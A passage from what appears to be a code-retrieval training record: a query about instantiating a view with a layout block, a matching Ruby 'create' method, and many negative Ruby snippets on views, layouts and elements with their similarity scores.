|| NSWindow\n view_class.alloc.initWithContentRect([[0, 0], [0, 0]],\n styleMask: NSTitledWindowMask | NSClosableWindowMask | NSMiniaturizableWindowMask | NSResizableWindowMask,\n backing: NSBackingStoreBuffered,\n defer: false)\n end", "def set_layout\n @layoutme = 1\n end", "def place_in_layout?; end", "def place_in_layout?; end", "def initialize view\r\n @view = view\r\n @output = ''\r\n @xml = Builder::XmlMarkup.new :indent => 2, :target => @output\r\n end", "def set_layout\n @layout = Layout.find(params[:id])\n end", "def layout\n nil\n end", "def loadView\n self.view = MainView.alloc.initWithFrame(UIScreen.mainScreen.bounds)\n end", "def root\n blk = self.class.has_widgets_blocks or raise \"Please setup a widget tree using has_widgets()\"\n @root ||= Apotomo::Widget.new(parent_controller, \"root\").tap do |root|\n self.instance_exec(root, &blk)\n end\n end", "def create\n param_page_layout = params[:page_layout]\n param_page_layout[:root_id] = 0 if param_page_layout[:root_id].empty?\n param_page_layout[:parent_id] = 0 if param_page_layout[:parent_id].empty?\n \n @page_layout = PageLayout.new(param_page_layout)\n is_saved = @page_layout.save\n if @page_layout.root_id==0\n @page_layout.update_attribute(:root_id, @page_layout[:id])\n end\n \n respond_to do |format|\n if @page_layout.save\n format.html { redirect_to(:action=>\"show\",:id=>@page_layout, :notice => 'PageLayout was successfully created.') }\n format.xml { render :xml => @page_layout, :status => :created, :location => @page_layout }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @page_layout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def layouts=(_arg0); end", "def layouts=(_arg0); end", "def layout\n nil\n end", "def layout()\n layout_children()\n end", "def set_as_default_view\n frm.link(:text=>\"Set as Default View\").click\n end", "def root\n Tk.init\n @root\n end", "def document_root_element; end", "def add_element(name, attrs=nil)\n self.root = new_element = XML::Node.new(name, self)\n self.root.add_attributes(attrs) if attrs\n\n new_element\n end", "def add_view( view = new_view(10, 10, self.width - 20, self.height - 20), *views)\n self.addSubview(view) \n view.snap_to_top\n\n views.map do |view|\n if view.nil?\n view = NSTextField.new\n view.frame = [[0,0], [80,20]]\n view.stringValue = \"nil view!\"\n end\n\n self.add_tiled_vertical view\n end\n \n self\n end", "def view(name = \"\", viewpoint: :total, elements: :all, relationships: :for_elements)\n dia = __model.diagrams.find { |diagram| diagram.name == name }\n __model.remove_reference(dia) if dia\n __model.diagrams << View.new(__model, name, dia&.id, viewpoint, elements, relationships).render\n end", "def layout=(_arg0); end", "def build_single_editor_layout(width, height, pane_id)\n Layout.new(\"#{width}x#{height}\", 0, 0, PaneId.new(pane_id))\nend", "def set_maker_layout\n @maker_layout = MakerLayout.find(params[:id])\n end", "def layout\n @layout\n end", "def attach_view(view)\n @views << view\n end", "def default_layout\n nil\n end", "def layout\n self.class.layout || @app.layout\n end", "def define_view\n \t#puts \"#{controller_name}.define_view:begin view=#{@myparams[:view_id]}\"\n \t# views: liste des vues possibles est utilisee dans la view ruby show\n\t\t@views = View.all\n\t\t# view_id: id de la vue selectionnee est utilisee dans la view ruby show\n\t\t#@myparams[:view_id] = @views.first.id if @myparams[:view_id].nil?\n\t\tif @myparams[:view_id].nil?\n\t\t\tif logged_in?\n\t\t\t@myparams[:view_id] = current_user.get_default_view.id\n\t\t\tend\n\t\tend\n\t\t#puts \"#{controller_name}.define_view:end view=#{@myparams[:view_id]}\"\n\tend", "def set_layout\n if 1==1\n 'application'\n else\n 'dean'\n end\n end", "def add(element, element_id=nil, options={}, &block)\n # make sure we have a target - raises NoContextError if none exists\n self.target\n\n unless @context\n create_default_root_context\n end\n\n # We want to be sure that the element has a supeview or superlayer before\n # the style method is called.\n element = initialize_element(element, element_id)\n self.apply(:add_child, element, options)\n style_and_context(element, element_id, &block)\n\n element\n end", "def _implied_layout_name; end", "def layout(method = nil)\n @layout = method || @layout\n end", "def make_root\n if self.rep_parent.nil?\n return super\n else\n return self.rep_parent.make_root\n end\n end", "def initialize_page_layout_for_plain_theme\n if section_root_id.present?\n root_section = Section.roots.find(section_root_id)\n new_page_layout_root = add_section( root_section )\n self.update_attributes(\n page_layout_root_id: new_page_layout_root.id,\n for_terminal: root_section.for_terminal )\n end\n end", "def add_view(id)\n\n\t\tif Pview.where(:project_id => id, :ip => request.remote_ip).all.size == 0\n\t\t\tview = Pview.new\n\t\t\tview.project_id = id\n\t\t\tview.ip = request.remote_ip\n\t\t\tview.save\n\t\tend\n\tend", "def root\n first :parent_id => nil\n end", "def new\n @element = @@model.new()\n end", "def layouts; end", "def layouts; end", "def view( model, view, assigns = {} )\n self << Waves.main::Views[ model ].process( request ) do\n send( view, assigns )\n end\n end", "def create_default_route\n Route.default_route_for_app_id(self.id) if self.id.present?\n end", "def layout(new_layout = nil)\n @layout = new_layout if new_layout\n @layout\n end", "def add_view(child_view)\n @child_views << child_view\n\n if @child_views.size <= 2\n main_handle.add(child_view.main_handle)\n else\n paned = Gtk::Paned.new(@orientation)\n\n last_child_handle = main_handle.children.last\n\n main_handle.remove(last_child_handle)\n\n paned.add(last_child_handle)\n paned.add(child_view.main_handle)\n\n main_handle.add(paned)\n end\n end", "def add_view(listener)\n @views.add listener\n end", "def remove(element_id)\n unless is_parent_layout?\n return parent_layout.remove(element_id)\n end\n removed = forget(element_id)\n context(self.view) do\n removed.each do |element|\n self.apply(:remove_child, element)\n end\n end\n removed\n end", "def root_element\n root.xml \n end", "def reapply!\n root ||= self.view\n @layout_state = :reapply\n run_reapply_blocks\n\n @child_layouts.each do |child_layout|\n child_layout.reapply!\n end\n\n @layout_state = :initial\n\n return self\n end", "def find\n self.class.find(@view.layout)\n end", "def new\n @element = Element.new\n end", "def set_view\n @view = View.find(params[:id])\n end", "def set_element\n @element = Element.find(params[:id])\n end", "def view\n return @view unless @view.nil?\n file = File.join VIEWS, self.template\n @view = Haml::Engine.new File.read(file), HAML_CONFIG\n end", "def build(view, style = nil, opts = {})\n opts[:do_not_add] = true\n opts[:style] = style\n add_subview view, opts\n end", "def set_element\n @element = Element.find(params[:id])\n end", "def set_element\n @element = Element.find(params[:id])\n end", "def set_element\n @element = Element.find(params[:id])\n end", "def set_element\n @element = Element.find(params[:id])\n end", "def forget(element_id)\n unless is_parent_layout?\n return parent_layout.remove(element_id)\n end\n removed = nil\n context(self.view) do\n removed = all(element_id)\n @elements[element_id] = nil\n end\n removed\n end", "def new\n @element = Element.new\n @root_category = Category.find(272)\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @element }\n end\n end", "def initialize(view)\n @view = view\n end", "def default_render\n render(html: \"\", layout: true)\n end", "def create_viewport\n @viewport = Viewport.create(:main, 1)\n end", "def root(selector)\n @__root = selector\n end", "def _layout(*_arg0); end", "def new\n ruhoh = @ruhoh\n name = @args[2]\n Ruhoh::Friend.say { \n red \"Please specify a layout name.\" \n cyan \"ex: ruhoh layouts new splash\"\n exit\n } if name.nil?\n\n filename = File.join((@ruhoh.cascade.theme || @ruhoh.cascade.base), \"layouts\", name.gsub(/\\s/, '-').downcase) + \".html\"\n\n if File.exist?(filename)\n abort(\"Create new layout: aborted!\") if ask(\"#{filename} already exists. Do you want to overwrite?\", ['y', 'n']) == 'n'\n end\n\n FileUtils.mkdir_p File.dirname(filename)\n\n File.open(filename, 'w:UTF-8') do |page|\n page.puts (@collection.scaffold || '')\n end\n\n Ruhoh::Friend.say {\n green \"New layout:\"\n plain ruhoh.relative_path(filename)\n }\n end", "def root\n H[:html, [H[:head], tag!(:body)]]\n end", "def add_view(kind, template)\n id = \"#{kind}.view\"\n transitions = {\n edit: \"#{kind}.update\",\n list: \"#{kind}.list\",\n delete: \"#{kind}.list\",\n }\n add_display(View.new(kind, id, template, transitions))\n end", "def set_root_collection\n @root_collection = RootCollection.find(params[:id])\n end", "def on_load\n layout (self.view, :root) do\n\n @title = subview(UILabel, :title)\n @username = subview(UITextField, :username, delegate: self)\n @password = subview(UITextField, :password, delegate: self)\n @login_button = subview(UIButton.custom, :login_button)\n @register_button = subview(UIButton.custom, :register_button)\n\n #auto do\n # metrics 'margin' => 20\n # #metrics '2margin' => 20\n #\n # vertical \"|-50-[title]-75-[username]-margin-[password(==80)]-margin-[login_button(==30)]->=20-[register_button(==40)]-margin-|\"\n # horizontal \"|-[title]-|\"\n # horizontal \"|-margin-[username]-margin-|\"\n # horizontal \"|[password]-margin-|\"\n # horizontal \"|-margin-[login_button]-margin-|\"\n # horizontal \"|-margin-[register_button]-margin-|\"\n #end\n end", "def rendered_views=(_arg0); end", "def create\n @view = View.new(params[:view])\n @view.owner_id = @application_user.id\n\n respond_to do |format|\n if @view.save\n flash[:notice] = 'View was successfully created.'\n format.html { redirect_to(@view) }\n format.xml { render :xml => @view, :status => :created, :location => @view }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @view.errors, :status => :unprocessable_entity }\n end\n end\n end", "def layout_children\n \n end", "def create_view(name, opts = {})\n Designs::View.define_and_create(self, name, opts)\n end", "def new\n render :layout => \"main\" \n end", "def register_layout_setup\n @tab = :register\n end", "def layout \n return @layout\n end", "def create_view(id,doc)\n resp = get_design_doc(id)\n ddoc = set_views(resp,doc)\n\n create_design_doc(id,ddoc)\n end", "def root(key: nil, const: nil)\n add(Namespace::ROOT_PATH, key: key, const: const)\n end", "def render_layout(output, layout, info); end", "def auto(layout_view=top_level_view, layout_subviews={}, &layout_block)\n raise \"gem install 'motion-layout'\" unless defined? Motion::Layout\n\n styled_subviews = layout_view.teacup_subviews.select { |v| v.stylename }\n styled_subviews.each do |view|\n if ! layout_subviews[view.stylename.to_s]\n layout_subviews[view.stylename.to_s] = view\n end\n end\n\n Motion::Layout.new do |layout|\n layout.view layout_view\n layout.subviews layout_subviews\n layout.instance_eval(&layout_block)\n end\n end", "def model(name, model_klass)\n @root = Elem.new(name, model_klass, nil)\n end", "def root(name=nil, **options)\n name ||= Vue::Helpers.root_name\n get_or_create(VueRoot, name, **options)\n end", "def set_root_node\n self.x_node = \"root\"\n get_node_info(x_node)\n end", "def initialize(view)\n @view = view\n end", "def root(name)\n self._root = name\n end", "def layout(layout)\n self._layout = layout\n end", "def create_index_node(root_element)\n IndexTree::IndexNode.create!(:root_element => root_element, :node_element => self)\n create_index_nodes_for_children(root_element)\n end", "def initialize_element\n end", "def create\n @layout = Layout.new(params[:layout])\n\n respond_to do |format|\n if @layout.save\n flash[:notice] = 'Ulkoasun luonti onnistui.'\n format.html { redirect_to(layouts_url) }\n format.xml { render :xml => @layout, :status => :created, :location => @layout }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @layout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end" ]
[ "0.67284423", "0.5926831", "0.59161115", "0.5851478", "0.5749565", "0.56178254", "0.556424", "0.5561739", "0.5547552", "0.55419034", "0.5516469", "0.5512008", "0.5414251", "0.5414251", "0.5381627", "0.53578526", "0.5327044", "0.5322114", "0.53206384", "0.53086996", "0.5288341", "0.5288341", "0.52718586", "0.520134", "0.5193671", "0.5189519", "0.517691", "0.5167841", "0.51633465", "0.5135664", "0.51023924", "0.50968486", "0.5072786", "0.5066816", "0.5061428", "0.5059635", "0.5026976", "0.50181526", "0.501718", "0.50102043", "0.49894822", "0.4975442", "0.49699217", "0.49666148", "0.4965654", "0.49481204", "0.49387407", "0.49347973", "0.49347973", "0.49319118", "0.49308112", "0.4927243", "0.49244007", "0.4914807", "0.49131328", "0.49090955", "0.490834", "0.4903229", "0.49000588", "0.48934624", "0.4890042", "0.48874682", "0.48808065", "0.4878219", "0.4878219", "0.4878219", "0.4878219", "0.4875756", "0.4870835", "0.48690832", "0.48687777", "0.48625138", "0.48476544", "0.48446932", "0.48313102", "0.48274252", "0.4826831", "0.48206547", "0.48137093", "0.4810859", "0.480941", "0.48081744", "0.4805861", "0.48027217", "0.4802589", "0.47965622", "0.4794834", "0.47934148", "0.4782477", "0.47773618", "0.47720987", "0.4769649", "0.47695827", "0.4767919", "0.47636622", "0.4756081", "0.4755139", "0.4754353", "0.47397977", "0.47337562" ]
0.8038992
0
instantiates a view, possibly running a 'layout block' to add child views.
def create(element, element_id=nil, &block) element = initialize_element(element, element_id) style_and_context(element, element_id, &block) element end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def build_view\n # Only in the 'layout' method will we allow default container to be\n # created automatically (when 'add' is called)\n @assign_root = true\n prev_should_run = @should_run_deferred\n @should_run_deferred = true\n layout\n unless @view\n if @assign_root\n create_default_root_context\n @view = @context\n else\n NSLog('Warning! No root view was set in TreeLayout#layout. Did you mean to call `root`?')\n end\n end\n run_deferred(@view)\n @should_run_deferred = prev_should_run\n @assign_root = false\n # context can be set via the 'create_default_root_context' method, which\n # may be outside a 'context' block, so make sure to restore context to\n # it's previous value\n @context = nil\n\n if @preset_root\n @view = WeakRef.new(@view)\n @preset_root = nil\n end\n\n @view\n end", "def build(view, style = nil, opts = {})\n opts[:do_not_add] = true\n opts[:style] = style\n add_subview view, opts\n end", "def view_instance\n # view = if controller.response.template\n # controller.response.template\n # else\n View.new controller, master_helper_module\n # end\n \n # view.extend Extensions::View\n end", "def initialize(view)\n @view = view\n end", "def initialize view\r\n @view = view\r\n @output = ''\r\n @xml = Builder::XmlMarkup.new :indent => 2, :target => @output\r\n end", "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def initialize(view)\n @view = view\n end", "def initialize(view)\n @view = view\n end", "def create(view_or_constant, style = nil, opts = {})\n # TODO, refactor so that add_subview uses create, not backwards like it is now\n opts[:do_not_add] = true\n opts[:style] = style\n add_subview view_or_constant, opts\n end", "def add_view( view = new_view(10, 10, self.width - 20, self.height - 20), *views)\n self.addSubview(view) \n view.snap_to_top\n\n views.map do |view|\n if view.nil?\n view = NSTextField.new\n view.frame = [[0,0], [80,20]]\n view.stringValue = \"nil view!\"\n end\n\n self.add_tiled_vertical view\n end\n \n self\n end", "def create_view(name, opts = {})\n Designs::View.define_and_create(self, name, opts)\n end", "def add_view\n super\n end", "def create_view()\n raise RuntimeError.new(\"Class #{self.class.name} must implement a ::create_view() method.\")\n end", "def initialize(view, *args, &block)\n raise \"Trying to instantiate abstract class for #{self.class}\" if abstract_class?\n super(*[view, block])\n manage_args(*args)\n instance_exec(self, &callback)\n end", "def view view, &block\n @views[view]\n if block\n raise \"Nested views not supported\" if @current_view\n @current_view = view\n self.instance_eval &block\n @current_view = nil\n end\n end", "def add_view(child_view)\n @child_views << child_view\n\n if @child_views.size <= 2\n main_handle.add(child_view.main_handle)\n else\n paned = Gtk::Paned.new(@orientation)\n\n last_child_handle = main_handle.children.last\n\n main_handle.remove(last_child_handle)\n\n paned.add(last_child_handle)\n paned.add(child_view.main_handle)\n\n main_handle.add(paned)\n end\n end", "def loadView\n self.view = MainView.alloc.initWithFrame(UIScreen.mainScreen.bounds)\n end", "def view(check = nil, &block)\n raise ArgumentError, \"block required\" unless block_given?\n @views.insert(0, ViewHandler.new(check, block))\n end", "def add_view(kind, template)\n id = \"#{kind}.view\"\n transitions = {\n edit: \"#{kind}.update\",\n list: \"#{kind}.list\",\n delete: \"#{kind}.list\",\n }\n add_display(View.new(kind, id, template, transitions))\n end", "def initialize(props = Hash[])\n super()\n\n @props = Hash[]\n @child_components = []\n @props = props\n\n @view = create_view\n end", "def call\n load_view_class\n return <<-RUBY\n instance_vars = assigns.merge(local_assigns).inject({}) do |result, (name, value)|\n result.update(\"@\\#{name}\" => value)\n end\n view = #{view_class_name}.new(self, instance_vars) { |*names| yield(*names) }\n view.#{render_method}(#{template_source.inspect})\n RUBY\n end", "def create_view(name, body = nil, force: false, **kwargs, &block)\n kwargs[:sqlite3] = !!(adapter_name =~ /sqlite/i)\n\n drop_view(name) if force && table_exists?(name)\n\n execute build_create_view_query(name, body, **kwargs, &block)\n end", "def root(element, element_id=nil, &block)\n if @view\n raise ContextConflictError.new(\"Already created the root view\")\n end\n unless @assign_root\n raise InvalidRootError.new(\"You should only create a 'root' view from inside the 'layout' method (use 'create' elsewhere)\")\n end\n @assign_root = false\n\n # this method can be called with just a symbol, to assign the root element_id\n if element.is_a?(Symbol)\n element_id = element\n # See note below about why we don't need to `apply(:default_root)`\n element = preset_root || default_root\n elsif preset_root && preset_root != element\n # You're trying to make two roots, one at initialization\n # and one in your layout itself.\n raise ContextConflictError.new(\"Already created the root view\")\n end\n\n @view = initialize_element(element, element_id)\n\n if block\n if @context\n raise ContextConflictError.new(\"Already in a context\")\n end\n end\n\n style_and_context(@view, element_id, &block)\n\n return @view\n end", "def create_view(view, cspec)\n\tKernel.system(\"perl #{$scripts}/ct-mkview.pl -raw -name #{view} -dynamic -spec #{cspec}\")\n\treturn $? == 0\nend", "def initialize_element(elem, element_id)\n if elem.is_a?(Class) && elem < TreeLayout\n layout = elem.new\n elem = layout.view\n elsif elem.is_a?(Class)\n elem = elem.new\n elsif elem.is_a?(TreeLayout)\n layout = elem\n elem = elem.view\n end\n\n if layout\n if element_id\n name_element(layout, element_id)\n end\n @child_layouts << layout\n elsif element_id\n name_element(elem, element_id)\n end\n\n return elem\n end", "def view_instance\n view = ActionView::Base.new(controller.class.view_paths, {}, controller)\n view.extend master_helper_module\n end", "def initialize\n StartView.new(self) unless $DEBUG\n end", "def initialize\n super(Network.generate_id(\"document_\"))\n @view = View.new\n @layout = Layout.new\n self.link(:default_view, @view)\n self.link(:default_layout, @layout)\n end", "def load_view\r\n @view = XamlReader.load_from_path view_path if File.exists? view_path\r\n @view ||= view_name.to_s.gsub(/(.*::)+/, '').classify.new \r\n @view\r\n end", "def render(name, **args)\n\t\t\n\t\tif Core::DEBUG\n\t\t\tputs \"Loading view...\"\n\t\tend\n\n\t\tname = Core::VIEW + name\n\n\t\tfilePath = Core::viewPath(name)\n\n\t\tself.loadFile(filePath, \"View\")\n\n\t\t## Will retrieve class constant name for dynamic instanciation\n\t\tviewName = Object.const_get(name)\n\n\t\tview = viewName.new()\n\n\t\t## Force children controller and view\n\t\t## to run parent initialize if overriden.\n\t\tCore::forceParentInit(self)\t\n\t\tCore::forceParentInit(view)\n\n\t\t## Set values sent from previous view in\n\t\t## content of current view.\n\t\targs.each{\n\t\t\t|key, value|\n\t\t\t@content[key.to_s] = value\n\t\t}\n\n\t\tself.setProperties(view)\n\n\t\t## Collect content from controller and send it to view\n\t\tview.controller = self\n\t\tview.controller.run()\n\t\tview.content = @content.clone()\n\n\t\t## Refer controller methods in view for easier\n\t\t## call.\n\t\tself.class.instance_methods(false).each() do |method|\n\t\t\tif !view.class.method_defined?(method)\n\t\t\t\tview.define_singleton_method(method) do |*arguments|\n\t\t\t\t\tself.controller.send(method, *arguments)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t## Will render view with content retrieved in controller\n\t\tview.setInstanceVars()\n\t\tview.run()\n\n\t\tFenetre::css(:priorite => \"PRIORITY_APPLICATION\")\n\n\t\t## Display content builded in view with Gtk\n\t\tview.window.show_all\n\tend", "def view(name, &block)\n @views[name] = block\n end", "def create\n @view = View.new(params[:view])\n @view.owner_id = @application_user.id\n\n respond_to do |format|\n if @view.save\n flash[:notice] = 'View was successfully created.'\n format.html { redirect_to(@view) }\n format.xml { render :xml => @view, :status => :created, :location => @view }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @view.errors, :status => :unprocessable_entity }\n end\n end\n end", "def initialize(&block)\n raise ArgumentError, \"block required\" unless block\n @actions, @with, @layouts, @views, @helpers = [], [], {}, {}, self\n @app = method(:_call)\n @root = File.dirname(eval(\"__FILE__\", block.binding))\n instance_eval(&block)\n end", "def initialize(view_context)\n @view_context = view_context\n super\n end", "def attach_view(view)\n @views << view\n end", "def build\n view\n self\n end", "def view(name, opts = {})\n View.create(model, name, opts)\n create_view_method(name)\n end", "def factory_twiml_block(meth, *args)\n if meth =~ /twiml_appointments_/\n klass = meth.to_s.gsub(\"twiml_appointments_\", \"skej/twiml/appointments/\").classify\n else\n klass = meth.to_s.gsub(\"twiml_\", \"skej/twiml/\").classify\n end\n\n # Make the string representation a real Class object.\n klass = klass.constantize\n\n # Prepare view local variables\n data = { device: @device, session: @session, debug: generate_debug_formatted_message }\n if args.length > 0 and args[0].kind_of? Hash\n data.merge! args[0]\n end\n\n log \"twiml_view_factory -> #{klass.name.underscore}\"\n\n # Instantiate the new instance from the dynamic Klass\n # we generated earlier.\n instance = klass.new(data)\n\n # Return the TwiML view instance\n instance\n end", "def create_view(name, content, engine=:erb)\n FileUtils.mkdir_p(default_views_path)\n file = File.join(default_views_path, name.to_s + \".#{engine}\")\n File.open(file, 'w') { |io| io.write content }\n end", "def initialize_template_class(assigns)\n ActionView::Base.new(template_path, assigns, self)\n end", "def initialize(&block)\n super\n self.window_title = WINDOW_TITLE\n self.central_widget = Qt::Frame.new do |frame|\n frame.layout = Qt::VBoxLayout.new do |outer|\n outer.margin = 9\n outer.spacing = 6\n outer.add_widget(CurrencyView.new)\n outer.add_widget(TokenView.new)\n end\n end\n create_actions\n create_menus\n create_toolbars\n create_status_bar\n read_settings\n end", "def new\n # Use the Template class so that we can use the same object in forms which need the Template properties.\n @node = @parent.new_child(:class => Template)\n \n respond_to do |format|\n format.html\n end\n end", "def view\n return @view unless @view.nil?\n file = File.join VIEWS, self.template\n @view = Haml::Engine.new File.read(file), HAML_CONFIG\n end", "def add(klass, view_config)\n if enabled?\n formatter.add_view(klass, view_config)\n else\n puts \"View must be enabled to add a view\"\n end\n end", "def new\n @instance = @setup_controller[:model].new()\n @parent = @setup_controller[:parent_exists] && params[:parent_id] && params[:parent_id].to_i > 0 ? @setup_controller[:model].find_by_id(params[:parent_id]) : nil \n @back_to_parent = (@parent.blank? || @parent.ancestors.count == 0 ? \"\" : (@parent.children.count == 0 ? @parent.ancestors[0].id : @parent.id))\n\n\n respond_to do |format|\n format.html {render \"shared/dynamic/new\"} \n format.js do \n @element_id, @partial = 'list_main_div', 'shared/dynamic/new_main'\n render 'shared/replace_content'\n end\n end\n end", "def initialize(x, y, width, height, views)\n super(x, y, width, height, 8, 24, true, 24, 2)\n @row_max = 1\n @column_max = views.size\n \n @viewsList = []\n window_update(views)\n self.index = 0\n end", "def initialize(x, y, width, height, views)\n super(x, y, width, height, 8, 24, true, 24, 2)\n @row_max = 1\n @column_max = views.size\n \n @viewsList = []\n window_update(views)\n self.index = 0\n end", "def create_analysis_views\n puts \"====================\"\n puts \"creating analysis views for #{self.name}\"\n puts \"====================\"\n\n run_analysis_views\n\n puts \"> done\"\n puts \"====================\"\n end", "def define_view\n \t#puts \"#{controller_name}.define_view:begin view=#{@myparams[:view_id]}\"\n \t# views: liste des vues possibles est utilisee dans la view ruby show\n\t\t@views = View.all\n\t\t# view_id: id de la vue selectionnee est utilisee dans la view ruby show\n\t\t#@myparams[:view_id] = @views.first.id if @myparams[:view_id].nil?\n\t\tif @myparams[:view_id].nil?\n\t\t\tif logged_in?\n\t\t\t@myparams[:view_id] = current_user.get_default_view.id\n\t\t\tend\n\t\tend\n\t\t#puts \"#{controller_name}.define_view:end view=#{@myparams[:view_id]}\"\n\tend", "def create_view(id,doc)\n resp = get_design_doc(id)\n ddoc = set_views(resp,doc)\n\n create_design_doc(id,ddoc)\n end", "def add_view(listener)\n @views.add listener\n end", "def view(view_class,text = nil, &block)\n @view_class = view_class\n @view_render = text || block if (text || block)\n end", "def view(name, opts = {})\n design_doc.create_view(name, opts)\n end", "def view(x, y, width, height)\n view = View.new(self, x, y, width, height)\n\n return view unless block_given?\n\n begin\n yield(view)\n ensure\n view.sync\n end\n nil\n end", "def add_view(view)\n\n # Enter\n view.signal_connect('motion-notify-event') do |view, event|\n motion_handler(view, event)\n end\n\n # Leave\n view.signal_connect('leave-notify-event') do |view, event|\n leave_handler(view, event)\n end\n end", "def initialize(window, game_state_model)\n @window = window\n @game_state_model = game_state_model\n @menu_background = Views::MenuView.new(@window, self)\n @views = [Views::InitialMenuView.new(@window, self), Views::SaveMenuView.new(@window, self), Views::TypeMenuView.new(@window, self), Views::MultiplayerMenuView.new(@window, self, @game_state_model), Views::LoginServerMenuView.new(@window, self), Views::ModeMenuView.new(@window, self)]\n @current_view = @views.first\n @alert_view = nil\n end", "def begin_view_new(object_locale_key)\n begin_view(t(:Create),\" \",t(object_locale_key))\n end", "def initialize( controller )\n\n\t\t\tsuper( controller );\n\n\t\t\tcolorFillClass\t\t\t\t= widgetClass('HooColorFill')\n\t\t\tli \t\t\t\t\t\t= widgetClass(\"HooLoremIpsumView\")\n\t\t\tsimpleButton\t\t\t\t= widgetClass('HooFormButtonSimple')\n\t\t\ttoggleButton\t\t\t\t= widgetClass('HooFormButtonSimple')\n\n\t\t\t@window.showGrid;\n\n\t\t\tcolorFillView = colorFillClass.new()\n\t\t\t@window.contentView.addSubView( colorFillView )\n\n\t\t\tliInstance = li.new()\n\t\t\tcolorFillView.addSubView( liInstance )\n\n\t\t\tlambda {\n\t\t\t\t@simpleButton1 = simpleButton.new( :initialState=>1 );\n\t\t\t\t@simpleButton1.img = '../images/buttons/simple-button/3-state-combine.png';\n\t\t\t\t@simpleButton1.size = [105,45];\n\t\t\t\t@simpleButton1.labelStates = ['-- --', 'Submit', 'Pressed'];\n\t\t\t\t@simpleButton1.initialState = 1;\n\t\t\t\t@simpleButton1.labelColor = '#fff'\n\t\t\t\t@simpleButton1.action = '/widgets/_ajaxPostTest'\n\t\t\t\t#@simpleButton1.javascript = \"this.hookupAction( function(){\n\t\t\t\t#\talert('Holy Cock');\n\t\t\t\t#});\";\n\t\t\t\t@window.contentView.addSubView( @simpleButton1 );\n\t\t\t}.call\n\n\t\tend", "def initialize(parent, new_query = {}, name = nil)\n if parent.is_a? Base\n raise \"Name must be provided for view to be initialized\" if name.nil?\n @name = name\n @database = parent.database\n @query = { :reduce => false }\n elsif parent.is_a? View\n @database = parent.database\n @query = parent.query.dup\n else\n raise \"View cannot be initialized without a parent Model or View\"\n end\n @query.update(new_query)\n super\n end", "def view\n @view ||= returning Cell::View.new(view_paths, {}, @controller) do |v|\n v.cell = self\n v.helper_module = self.class.master_helper_module\n end\n end", "def execute\n view.add_control target, controller.current_view.instance\n end", "def new\n @title = \"Creating New Content\"\n @content_node = ContentNode.new\n end", "def load_view options\n options ||= {}\n options = options[:fancygrid] || options\n options = options[self.name] || options\n self.view = Fancygrid::View.new(options)\n \n # reorder current leafs\n new_leafs = self.leafs\n self.leafs = []\n new_leafs.each do |leaf|\n insert_node(leaf)\n end\n end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def new\n @title = t('view.hierarchies.new_title')\n @hierarchy = Hierarchy.new\n end", "def make_render_in_view exp\n make_render exp, true\n end", "def new\n @node = Node.new(:displayed => true)\n @node.template = Template.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def initialize(design_doc, parent, new_query = {}, name = nil)\n self.design_doc = design_doc\n\n # Extrace important non-regular query values\n proxy = new_query.delete(:proxy)\n delete = new_query.delete(:delete)\n\n if parent.is_a?(Class) && parent < CouchRest::Model::Base\n raise \"Name must be provided for view to be initialized\" if name.nil?\n self.model = (proxy || parent)\n self.owner = parent\n self.name = name.to_s\n # Default options:\n self.query = { }\n elsif parent.is_a?(self.class)\n self.model = (proxy || parent.model)\n self.owner = parent.owner\n self.name = parent.name\n self.query = parent.query.dup\n else\n raise \"View cannot be initialized without a parent Model or View\"\n end\n\n # Update the local query hash\n query.update(new_query)\n delete.each{|k| query.delete(k)} if delete\n\n super()\n end", "def create_base_ui\n @base_ui = BaseUI.new(@viewport, button_texts)\n end", "def initialize(database, design_doc, view_name, view_options = {}, container_class = nil, query_type = :view)\n raise ArgumentError, \"database is a required parameter\" if database.nil?\n\n @database = database\n @container_class = container_class\n @query_type = query_type\n\n strip_pagination_options(view_options)\n @view_options = view_options\n\n if design_doc.class == Design\n @view_name = \"#{design_doc.name}/#{view_name}\"\n else\n @view_name = \"#{design_doc}/#{view_name}\"\n end\n end", "def initialize\n super\n self.orientation = Qt::Vertical\n @layout = Qt::GraphicsLinearLayout.new do\n self.orientation = Qt::Vertical\n end\n item = Qt::GraphicsWidget.new\n item.layout = @layout\n add_item_orig(item)\n add_stretch(1)\n #void setStretchFactor ( QGraphicsLayoutItem * item, int stretch )\n end", "def init_views\n @actions = @actions.nil? ? [] : @actions\n @tabs = @tabs.nil? ? [] : @tabs\n end", "def _view; end", "def new_item(x = 0, y = 0, w = 1, h = 1)\n l = Layout.new\n l.sizes.set x, y, w, h\n add_item l\n end", "def init_view_with_delegate(delegate)\n @pos_x_button_1 = 0.33\n @pos_x_button_2 = 0.47\n @pos_x_button_3 = 0.61\n\n @element_size = 64\n @icon_size = 32\n\n @delegate = delegate\n\n @init = true\n end", "def new\n @template = CustomTemplate.new\n\n \trender :layout => \"templates\"\t\n end", "def create_viewport\n @viewport = Viewport.create(:main, 1)\n end", "def initialize(action_view, assigns, &layout_block)\n @action_view = action_view\n assigns.each do |name, value|\n instance_variable_set(name, value)\n end\n @layout_block = layout_block\n end", "def create_shell_tree_view\n\t\t\n\t\t\t# Create file system model for Shell Tree View\n\t\t\tfile_system_model = FetchNotifyingFileSystemModel.new(\n\t\t\t\t@form, \n\t\t\t\t{ \n\t\t\t\t :label => @form.iconPlaceholderDir, \n\t\t\t\t :ready_icon => @folder_icon,\n\t\t\t\t\t:busy_icon => @loading_icon\n\t\t\t\t}\n\t\t\t)\n\t\t\n\t\t\t# Create Shell Tree View\n\t\t\t@shell_tree_view = ShellFolderTreeView.new(\n\t\t\t\t@parent, \n\t\t\t\t{ \n\t\t\t\t\t:model => file_system_model,\n\t\t\t\t :change_callback => lambda { |path| path_changed(path) },\n\t\t\t\t\t:keypress_callback => lambda { |key| 